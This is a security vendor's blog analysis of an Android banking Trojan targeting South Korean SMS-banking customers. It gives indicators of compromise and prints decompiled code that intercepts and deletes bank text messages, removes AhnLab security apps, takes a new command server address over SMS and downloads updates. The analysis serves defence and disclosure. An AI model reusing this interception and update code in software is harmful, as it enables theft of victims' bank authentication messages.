February 7, 2017

Trojan Intercepts SMS Messages To Attack Banks In South Korea

Trojan Intercepts SMS Messages To Attack Banks In South Korea

Banks in South Korea recently started to offer customers a text messaging option to access accounts and authenticate transactions. It was reported that a major South Korea bank, KEB Hana Bank, was the first to launch the text banking service in the country on Nov 21, 2016. Unfortunately, cyber thieves have picked up on this, and are trying to get their hands on these text messages.

Trustlook labs discovered a new banking Trojan that targets these banks in South Korea that offer the text messaging service. The Trojan disguises itself as a Google Play app and the user is requested to grant device administrator rights for it. This prevents the malware for being removed.

The app starts as a background service and is invisible to the user. The package can be identified as having the following characteristics:

  • MD5: b4d419cd7dc4f7bd233fa87f89f73f22
  • SHA256: 1fa03f9fa2c6744b672433c06a1a3142997ba4f261b68eddbc03545caff06a82
  • Size: 100289 bytes
  • App name: Google_Play
  • Package name: com.android.systemsetting


The package icon is:

image00

Upon execution, the app persuades the user to grant device administrator access in order to maintain its presence on the system:

image02

The app disguises itself as “AhnLab V3 Mobile PLUS” which is a popular mobile security app in South Korea.

image01


In the meantime, it attempts to remove the legitimate AhnLab security apps:

 public void onClick(View arg2) {

       GeneralUtil.uninstallAPK(((Context)this), "com.ahnlab.v3mobileplus");

       GeneralUtil.uninstallAPK(((Context)this), "com.ahnlab.v3mobilesecurity.soda");

The malware attempts to collects the user’s device information and send it to the server:

image04


It then goes through the system to look for the following banking apps:

  • nh.smart
  • com.shinhan.sbanking
  • com.hanabank.ebk.channel.android.hananbank
  • com.webcash.wooribank
  • com.kbstar.kbbank

The following code snippets are used to retrieve information on any installed banking apps:

public class FBDBSender

   private void uploadInstallApp() {

       try {

[...]

           boolean v1 = CoreService.checkAPP(((Context)this), "nh.smart");

           boolean v2 = CoreService.checkAPP(((Context)this), "com.shinhan.sbanking");

           boolean v3 = CoreService.checkAPP(((Context)this), "com.hanabank.ebk.channel.android.hananbank");

           boolean v4 = CoreService.checkAPP(((Context)this), "com.webcash.wooribank");

           boolean v5 = CoreService.checkAPP(((Context)this), "com.kbstar.kbbank");

           String v6 = this.getVersion("nh.smart");

           String v7 = this.getVersion("com.shinhan.sbanking");

           String v8 = this.getVersion("com.hanabank.ebk.channel.android.hananbank");

           String v9 = this.getVersion("com.webcash.wooribank");

           String v10 = this.getVersion("com.kbstar.kbbank");

[...]

           UploadInstallAppTask v12 = new UploadInstallAppTask(this);

           String[] v13 = new String[10];

           String v11 = v1 ? "1" : "0";

           v13[0] = v11;

           v11 = v2 ? "1" : "0";

           v13[1] = v11;

           int v14 = 2;

           v11 = v3 ? "1" : "0";

           v13[v14] = v11;

           v14 = 3;

           v11 = v4 ? "1" : "0";

           v13[v14] = v11;

           v14 = 4;

           v11 = v5 ? "1" : "0";

           v13[v14] = v11;

           v13[5] = v6;

           v13[6] = v7;

           v13[7] = v8;

           v13[8] = v9;

           v13[9] = v10;

           v12.execute(((Object[])v13));

              [...]

The malware then sends out the captured information:

image03

The malware intercepts all the SMS messages between the device and the banks and sends it to the attacker:

public class SMSReceiver extends BroadcastReceiver {

   static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";

   private final String TAG;



   public SMSReceiver() {

       super();

       this.TAG = "sms Receiver";

   }



   public void onReceive(Context arg23, Intent arg24) {

       if("android.provider.Telephony.SMS_RECEIVED".equals(arg24.getAction())) {

           Bundle v3 = arg24.getExtras();

           if(v3 != null) {

               SmsInfoDao v13 = new SmsInfoDao(arg23);

               Object v10 = v3.get("pdus");

               SmsMessage[] v8 = new SmsMessage[v10.length];

               int v4;

               for(v4 = 0; v4 < v10.length; ++v4) {

                   v8[v4] = SmsMessage.createFromPdu(v10[v4]);

               }



               SmsMessage[] v2 = v8;

               int v6 = v2.length;

               int v5;

               for(v5 = 0; v5 < v6; ++v5) {

                   SmsMessage v7 = v2[v5];

                   new Date().toString();

                   String v15 = v7.getDisplayOriginatingAddress();

                   String v16 = v7.getDisplayMessageBody();

                   if(v16.startsWith(Constant.NEW_SERVER_MSG_PREFIX)) {

                       String v9 = v16.substring(Constant.NEW_SERVER_MSG_PREFIX.length());

                       if(v9.startsWith("http")) {

                           Log.d("sms Receiver", "new address:" + v9);

                           SharedPreferences v11 = PreferenceManager.getDefaultSharedPreferences(arg23);

                           App.URL_BASE = v9;

                           v11.edit().putString("serverIp", v9).commit();

                       }

                   }



                   if(App.curInterceptState != 0 && System.currentTimeMillis() - App.curInterceptStateStartTime < 9223372036854775807L) {

                       SmsInfo v12 = new SmsInfo();

                       v12._id = (((int)Math.round(Math.random() * 9999999 + 1))) * -1;

                       v12.thread_id = "";

                       v12.service_center = "";

                       v12.name = "";

                       v12.phoneNumber = v15;

                       v12.smsbody = v16;

                       v12.date = new Date().getTime();

                       v12.type = 0;

                       v13.startWritableDatabase(true);

                       v13.insert(v12);

                       v13.setTransactionSuccessful();

                       v13.closeDatabase(true);

                       this.abortBroadcast();

                   }

               [...]

   public class SMSContent extends ContentObserver {

       public SMSContent(CoreService arg1, Handler arg2) {

           CoreService.this = arg1;

           super(arg2);

       }



       public void onChange(boolean arg23) {

           Log.i("SMS Core Service", "smsÓб仯");

           super.onChange(arg23);

           Cursor v8 = App.getInstance().getContentResolver().query(Uri.parse("content://sms/inbox"), null, " read = ?", new String[]{"0"}, "date asc");

           if(v8 != null && (v8.moveToFirst())) {

               int v10 = v8.getColumnIndex("_id");

               int v19 = v8.getColumnIndex("thread_id");

               int v16 = v8.getColumnIndex("service_center");

               int v12 = v8.getColumnIndex("person");

               int v14 = v8.getColumnIndex("address");

               int v18 = v8.getColumnIndex("body");

               int v9 = v8.getColumnIndex("date");

               int v20 = v8.getColumnIndex("type");

               do {

                   SmsInfo v17 = new SmsInfo();

                   v17._id = v8.getInt(v10);

                   v17.thread_id = v8.getString(v19);

                   v17.service_center = v8.getString(v16);

                   v17.name = v8.getString(v12);

                   v17.phoneNumber = v8.getString(v14);

                   v17.smsbody = v8.getString(v18);

                   v17.date = v8.getLong(v9);

                   v17.type = v8.getInt(v20);

                   if(!CommUtil.isEmpty(v17.smsbody)) {

                       Toast.makeText(CoreService.this, v17.smsbody + "", 0).show();

                       Log.i("SMS Core Service", v17.smsbody);

                       if(v17.smsbody.trim().startsWith(Constant.NEW_SERVER_MSG_PREFIX)) {

                           String v13 = v17.smsbody.substring(Constant.NEW_SERVER_MSG_PREFIX.length());

                           Log.i("SMS Core Service", v13);

                           Toast.makeText(CoreService.this, ((CharSequence)v13), 0).show();

                           if(v13.startsWith("http")) {

                               Log.d("SMS Core Service", "new server address:" + v13);

                               SharedPreferences v15 = PreferenceManager.getDefaultSharedPreferences(CoreService.this);

                               App.URL_BASE = v13;

                               v15.edit().putString("serverIp", v13).commit();

                               CoreService.this.getContentResolver().delete(Uri.parse("content://sms/" + v17._id), null, null);

                               CoreService.this.getSystemService("notification").cancelAll();

                           }

                       }

                       else if(v17.smsbody.trim().startsWith(Constant.LOCK_SCREEN_ON)) {

                           Log.i("SMS Core Service", v17.smsbody.trim() + " is not startsWith " + Constant.NEW_SERVER_MSG_PREFIX);

                       }



                       Log.d("SMS Core Service", "insert sms to db");

                       CoreService.this.sid.startWritableDatabase(true);

                       CoreService.this.sid.insert(v17);

                       CoreService.this.sid.setTransactionSuccessful();

                       CoreService.this.sid.closeDatabase(true);

                       if(App.curInterceptState == 0) {

                           continue;

                       }



                       if(System.currentTimeMillis() - App.curInterceptStateStartTime >= 9223372036854775807L) {

                           continue;

                       }



                       CoreService.this.getContentResolver().delete(Uri.parse("content://sms/" + v17._id), null, null);

                       CoreService.this.getSystemService("notification").cancelAll();

                   }

               }

               while(v8.moveToNext());



               CoreService.this.uploadDbSms();

           }



           v8.close();

       }

The app is capable of updating itself:

protected String[] doInBackground(AppUpdateModel[] arg11) {

           String[] v6;

           try {

               AppUpdateModel v1 = arg11[0];

               String v2 = App.URL_BASE + v1.getUpdateUrl();

               Log.i("SMS Core Service", v2);

               long v4 = System.currentTimeMillis();

               CoreService.this.lastFileName = v4 + ".apk";

               v6 = new String[]{NetUtils.downApk(v2, v4 + ".apk", CoreService.this), v1.getAppPackageName()};

           }

Summary

For anyone using the text banking service that is being offered by some Korean banks, we suggest you install the Trustlook Mobile Security app to detect and block this attack, as well as to prevent further malicious activities.